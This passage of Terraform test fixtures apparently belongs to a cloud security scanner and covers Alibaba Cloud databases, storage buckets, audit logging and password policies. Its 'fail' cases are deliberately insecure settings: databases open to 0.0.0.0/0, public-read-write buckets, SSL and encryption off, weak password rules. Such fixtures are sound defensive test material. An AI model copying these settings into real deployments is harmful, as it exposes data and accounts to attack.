"polardb_perf_collection_policy" = "", "polardb_perf_ttl" = "180", "drds_audit_enabled" = "true", "drds_audit_collection_policy" = "", "drds_audit_ttl" = "7", "drds_sync_enabled" = "true", "drds_sync_ttl" = "180", "drds_audit_ti_enabled" = "true", "slb_access_enabled" = "true", "slb_access_collection_policy" = "", "slb_access_ttl" = "7", "slb_sync_enabled" = "true", "slb_sync_ttl" = "180", "slb_access_ti_enabled" = "true", "bastion_enabled" = "true", "bastion_ttl" = "180", "bastion_ti_enabled" = "true", "waf_enabled" = "true", "waf_ttl" = "180", "waf_ti_enabled" = "true", "cloudfirewall_enabled" = "true", "cloudfirewall_ttl" = "180", "cloudfirewall_ti_enabled" = "true", "ddos_coo_access_enabled" = "true", "ddos_coo_access_ttl" = "180", "ddos_coo_access_ti_enabled" = "true", "ddos_bgp_access_enabled" = "true", "ddos_bgp_access_ttl" = "180", "ddos_dip_access_enabled" = "true", "ddos_dip_access_ttl" = "180", "ddos_dip_access_ti_enabled" = "true", "sas_crack_enabled" = "true", "sas_dns_enabled" = "true", "sas_http_enabled" = "true", "sas_local_dns_enabled" = "true", "sas_login_enabled" = "true", "sas_network_enabled" = "true", "sas_process_enabled" = "true", "sas_security_alert_enabled" = "true", "sas_security_hc_enabled" = "true", "sas_security_vul_enabled" = "true", "sas_session_enabled" = "true", "sas_snapshot_account_enabled" = "true", "sas_snapshot_port_enabled" = "true", "sas_snapshot_process_enabled" = "true", "sas_ttl" = "180", "sas_ti_enabled" = "true", "apigateway_enabled" = "true", "apigateway_ttl" = "180", "apigateway_ti_enabled" = "true", "nas_enabled" = "true", "nas_ttl" = "180", "nas_ti_enabled" = "true", "appconnect_enabled" = "true", "appconnect_ttl" = "180", "cps_enabled" = "true", "cps_ttl" = "180", "cps_ti_enabled" = "true", "k8s_audit_enabled" = "true", "k8s_audit_collection_policy" = "", "k8s_audit_ttl" = "180", "k8s_event_enabled" = "true", "k8s_event_collection_policy" = "", "k8s_event_ttl" = "180", "k8s_ingress_enabled" = "true", "k8s_ingress_collection_policy" = "", "k8s_ingress_ttl" = "180" } } resource "alicloud_log_audit" "pass" { display_name = "tf-audit-test" aliuid = "12345678" variable_map = { "actiontrail_enabled" = "true", "actiontrail_ttl" = "180", "actiontrail_ti_enabled" = "true", "oss_access_enabled" = "true", "oss_access_ttl" = "7", "oss_sync_enabled" = "true", "oss_sync_ttl" = "180", "oss_access_ti_enabled" = "true", "oss_metering_enabled" = "true", "oss_metering_ttl" = "180", "rds_enabled" = "true", "rds_audit_collection_policy" = "", "rds_ttl" = "180", "rds_ti_enabled" = "true", "rds_slow_enabled" = "true", "rds_slow_collection_policy" = "", "rds_slow_ttl" = "180", "rds_perf_enabled" = "true", "rds_perf_collection_policy" = "", "rds_perf_ttl" = "180", "vpc_flow_enabled" = "true", "vpc_flow_ttl" = "7", "vpc_flow_collection_policy" = "", "vpc_sync_enabled" = "true", "vpc_sync_ttl" = "180", "polardb_enabled" = "true", "polardb_audit_collection_policy" = "", "polardb_ttl" = "180", "polardb_ti_enabled" = "true", "polardb_slow_enabled" = "true", "polardb_slow_collection_policy" = "", "polardb_slow_ttl" = "180", "polardb_perf_enabled" = "true", "polardb_perf_collection_policy" = "", "polardb_perf_ttl" = "180", "drds_audit_enabled" = "true", "drds_audit_collection_policy" = "", "drds_audit_ttl" = "7", "drds_sync_enabled" = "true", "drds_sync_ttl" = "180", "drds_audit_ti_enabled" = "true", "slb_access_enabled" = "true", "slb_access_collection_policy" = "", "slb_access_ttl" = "7", "slb_sync_enabled" = "true", "slb_sync_ttl" = "180", "slb_access_ti_enabled" = "true", "bastion_enabled" = "true", "bastion_ttl" = "180", "bastion_ti_enabled" = "true", "waf_enabled" = "true", "waf_ttl" = "180", "waf_ti_enabled" = "true", "cloudfirewall_enabled" = "true", "cloudfirewall_ttl" = "180", "cloudfirewall_ti_enabled" = "true", "ddos_coo_access_enabled" = "true", "ddos_coo_access_ttl" = "180", "ddos_coo_access_ti_enabled" = "true", "ddos_bgp_access_enabled" = "true", "ddos_bgp_access_ttl" = "180", "ddos_dip_access_enabled" = "true", "ddos_dip_access_ttl" = "180", "ddos_dip_access_ti_enabled" = "true", "sas_crack_enabled" = "true", "sas_dns_enabled" = "true", "sas_http_enabled" = "true", "sas_local_dns_enabled" = "true", "sas_login_enabled" = "true", "sas_network_enabled" = "true", "sas_process_enabled" = "true", "sas_security_alert_enabled" = "true", "sas_security_hc_enabled" = "true", "sas_security_vul_enabled" = "true", "sas_session_enabled" = "true", "sas_snapshot_account_enabled" = "true", "sas_snapshot_port_enabled" = "true", "sas_snapshot_process_enabled" = "true", "sas_ttl" = "180", "sas_ti_enabled" = "true", "apigateway_enabled" = "true", "apigateway_ttl" = "180", "apigateway_ti_enabled" = "true", "nas_enabled" = "true", "nas_ttl" = "180", "nas_ti_enabled" = "true", "appconnect_enabled" = "true", "appconnect_ttl" = "180", "cps_enabled" = "true", "cps_ttl" = "180", "cps_ti_enabled" = "true", "k8s_audit_enabled" = "true", "k8s_audit_collection_policy" = "", "k8s_audit_ttl" = "180", "k8s_event_enabled" = "true", "k8s_event_collection_policy" = "", "k8s_event_ttl" = "180", "k8s_ingress_enabled" = "true", "k8s_ingress_collection_policy" = "", "k8s_ingress_ttl" = "180" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_MongoDBInsideVPC/main.tf ================================================ resource "alicloud_mongodb_instance" "fail" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Close" # not set } resource "alicloud_mongodb_instance" "fail2" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Close" # not set network_type = "Classic" } resource "alicloud_mongodb_instance" "pass" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Close" # not set network_type = "VPC" } resource "alicloud_vswitch" "ditch" { vpc_id = "anyoldtripe" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_MongoDBInstanceSSL/main.tf ================================================ resource "alicloud_mongodb_instance" "fail" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" # not set } resource "alicloud_mongodb_instance" "fail2" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Close" # not set network_type = "Classic" } resource "alicloud_mongodb_instance" "pass" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Open" # not set network_type = "VPC" } resource "alicloud_mongodb_instance" "pass2" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Update" # not set network_type = "VPC" } resource "alicloud_vswitch" "ditch" { vpc_id = "anyoldtripe" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_MongoDBIsPublic/main.tf ================================================ resource "alicloud_mongodb_instance" "fail" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" # not set } resource "alicloud_mongodb_instance" "fail2" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Close" # not set network_type = "Classic" } resource "alicloud_mongodb_instance" "pass" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Open" # not set network_type = "VPC" } resource "alicloud_mongodb_instance" "pass2" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Update" # not set network_type = "VPC" } resource "alicloud_vswitch" "ditch" { vpc_id = "anyoldtripe" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_MongoDBTransparentDataEncryptionEnabled/main.tf ================================================ resource "alicloud_mongodb_instance" "fail" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["0.0.0.0/0","10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" # not set } resource "alicloud_mongodb_instance" "pass" { engine_version = "3.4" db_instance_class = "dds.mongo.mid" db_instance_storage = 10 vswitch_id = alicloud_vswitch.ditch.id security_ip_list = ["10.168.1.12", "100.69.7.112"] kms_encryption_context= { } # tde_status = "Disabled" ssl_action = "Update" # not set network_type = "VPC" tde_status = "enabled" } resource "alicloud_vswitch" "ditch" { vpc_id = "anyoldtripe" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_OSSBucketAccessLogs/main.tf ================================================ resource "alicloud_oss_bucket" "fail" { bucket = "bucket-170309-sserule" acl = "private" } resource "alicloud_oss_bucket" "pass" { bucket = "bucket-170309-logging" logging { target_bucket = alicloud_oss_bucket.bucket-target.id target_prefix = "log/" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_OSSBucketEncryptedWithCMK/main.tf ================================================ resource "alicloud_oss_bucket" "pass" { bucket = "bucket-170309-sserule" acl = "private" server_side_encryption_rule { sse_algorithm = "KMS" kms_master_key_id = "your kms key id" } } resource "alicloud_oss_bucket" "fail" { bucket = "bucket-170309-sserule" acl = "private" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_OSSBucketPublic/main.tf ================================================ resource "alicloud_oss_bucket" "good-bucket" { bucket = "bucket-170309-acl" acl = "private" } resource "alicloud_oss_bucket" "good-bucket2" { bucket = "bucket-170309-acl" } resource "alicloud_oss_bucket" "bad-bucket" { bucket = "bucket-170309-acl" acl = "public-read-write" } resource "alicloud_oss_bucket" "bad-bucket2" { bucket = "bucket-170309-acl" acl = "public-read" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_OSSBucketTransferAcceleration/main.tf ================================================ resource "alicloud_oss_bucket" "pass" { bucket = "bucket_name" transfer_acceleration { enabled = true } } resource "alicloud_oss_bucket" "fail" { bucket = "bucket_name" transfer_acceleration { enabled = false } } resource "alicloud_oss_bucket" "fail2" { bucket = "bucket_name" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_OSSBucketVersioning/main.tf ================================================ resource "alicloud_oss_bucket" "pass" { bucket = "bucket-170309-versioning" acl = "private" versioning { status = "Enabled" } } resource "alicloud_oss_bucket" "fail" { bucket = "bucket-170309-versioning" acl = "private" } resource "alicloud_oss_bucket" "fail2" { bucket = "bucket-170309-versioning" acl = "private" versioning { status = "Suspended" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyExpiration/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = true hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 120 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_uppercase_characters = false require_numbers = false hard_expiry = true password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyLength/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyLowercaseLetter/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = true require_uppercase_characters = false require_numbers = false require_symbols = true hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_uppercase_characters = false require_numbers = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyMaxLogin/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "pass2" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 6 } resource "alicloud_ram_account_password_policy" "unknown" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = lookup(var.ram_account_password_policy, "max_login_attempts") } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyNumber/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = false require_numbers = true require_symbols = false hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_uppercase_characters = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyReuse/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = true hard_expiry = true max_password_age = 14 password_reuse_prevention = 24 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 120 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_uppercase_characters = false require_numbers = false hard_expiry = true max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicySymbol/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = true hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_uppercase_characters = false require_numbers = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_PasswordPolicyUppcaseLetter/main.tf ================================================ resource "alicloud_ram_account_password_policy" "pass" { minimum_password_length = 14 require_lowercase_characters = false require_uppercase_characters = true require_numbers = false require_symbols = true hard_expiry = true max_password_age = 14 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail" { minimum_password_length = 9 require_lowercase_characters = false require_uppercase_characters = false require_numbers = false require_symbols = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } resource "alicloud_ram_account_password_policy" "fail2" { require_lowercase_characters = false require_numbers = false hard_expiry = true max_password_age = 12 password_reuse_prevention = 5 max_login_attempts = 3 } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RAMSecurityEnforceMFA/main.tf ================================================ resource "alicloud_ram_security_preference" "fail" { enable_save_mfa_ticket = false allow_user_to_change_password = true enforce_mfa_for_login = false } resource "alicloud_ram_security_preference" "fail2" { enable_save_mfa_ticket = false allow_user_to_change_password = true } resource "alicloud_ram_security_preference" "pass" { enable_save_mfa_ticket = false allow_user_to_change_password = true enforce_mfa_for_login = true } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSInstanceAutoUpgrade/main.tf ================================================ resource "alicloud_db_instance" "fail" { auto_upgrade_minor_version = "Manual" engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.s2.large" instance_storage = "30" instance_charge_type = "Postpaid" instance_name = "myfirstdb" vswitch_id = alicloud_vswitch.ditch.id monitoring_period = "60" ssl_action = "Close" } resource "alicloud_vswitch" "ditch" { vpc_id = "anyoldtripe" cidr_block = "0.0.0.0/0" } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.s2.large" instance_storage = "30" instance_charge_type = "Postpaid" instance_name = "myfirstdb" vswitch_id = alicloud_vswitch.ditch.id monitoring_period = "60" ssl_action = "Close" } resource "alicloud_db_instance" "pass" { auto_upgrade_minor_version = "Auto" engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.s2.large" instance_storage = "30" instance_charge_type = "Postpaid" instance_name = "myfirstdb" vswitch_id = alicloud_vswitch.ditch.id monitoring_period = "60" ssl_action = "Close" } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSInstanceLogConnections/main.tf ================================================ resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "innodb_large_prefix" value = "ON" } parameters { name = "connect_timeout" value = "50" } } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] } resource "alicloud_db_instance" "fail3" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "OFF" } parameters { name = "log_connections" value = "OFF" } } resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "ON" } parameters { name = "log_connections" value = "ON" } } resource "alicloud_db_instance" "pass2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "on" } parameters { name = "log_connections" value = "on" } } resource "alicloud_db_instance" "unknown" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSInstanceLogDisconnections/main.tf ================================================ resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "innodb_large_prefix" value = "ON" } parameters { name = "connect_timeout" value = "50" } } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] } resource "alicloud_db_instance" "fail3" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "OFF" } parameters { name = "log_disconnections" value = "OFF" } } resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "ON" } parameters { name = "log_disconnections" value = "ON" } } resource "alicloud_db_instance" "pass2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "on" } parameters { name = "log_disconnections" value = "on" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSInstanceLogsEnabled/main.tf ================================================ resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "innodb_large_prefix" value = "ON" } parameters { name = "connect_timeout" value = "50" } } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] } resource "alicloud_db_instance" "fail3" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "OFF" } } resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "ON" } } resource "alicloud_db_instance" "pass2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" auto_upgrade_minor_version = "Manual" # ssl_action="Closed" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters { name = "log_duration" value = "on" } } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSInstanceSSL/main.tf ================================================ resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" ssl_action = "Open" instance_storage = "30" instance_type = "mysql.n2.small.25" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "pass2" { engine = "MySQL" engine_version = "5.6" ssl_action = "Update" instance_storage = "30" instance_type = "mysql.n2.small.25" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" ssl_action = "Close" instance_storage = "30" instance_type = "mysql.n2.small.25" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" instance_storage = "30" instance_type = "mysql.n2.small.25" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSIsPublic/main.tf ================================================ resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" db_instance_class = "rds.mysql.t1.small" db_instance_storage = "10" security_ips = [ "0.0.0.0", "10.23.12.24/24" ] parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" db_instance_class = "rds.mysql.t1.small" db_instance_storage = "10" security_ips = [ "0.0.0.0/0", "10.23.12.24/24" ] parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" db_instance_class = "rds.mysql.t1.small" db_instance_storage = "10" security_ips = [ "10.23.12.24" ] parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "pass2" { engine = "MySQL" engine_version = "5.6" db_instance_class = "rds.mysql.t1.small" db_instance_storage = "10" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSRetention/main.tf ================================================ resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" sql_collector_status = "Enabled" sql_collector_config_value = 180 parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }, { name = "log_connections" value = "ON" }] } resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }, { name = "log_connections" value = "ON" }] } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" sql_collector_status = "Disabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }, { name = "log_connections" value = "ON" }] } resource "alicloud_db_instance" "fail3" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" sql_collector_status = "Enabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }, { name = "log_connections" value = "ON" }] } resource "alicloud_db_instance" "fail4" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" sql_collector_status = "Enabled" sql_collector_config_value = 30 parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }, { name = "log_connections" value = "ON" }] } ================================================ FILE: tests/terraform/checks/resource/alicloud/example_RDSTransparentDataEncryptionEnabled/main.tf ================================================ resource "alicloud_db_instance" "pass" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Enabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "fail" { engine = "MySQL" engine_version = "5.6" instance_type = "rds.mysql.t1.small" instance_storage = "10" tde_status = "Disabled" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = "connect_timeout" value = "50" }] } resource "alicloud_db_instance" "fail2" { engine = "MySQL" engine_version = "8.0" instance_type = "rds.mysql.t1.small" instance_storage = "10" parameters = [{ name = "innodb_large_prefix" value = "ON" }, { name = 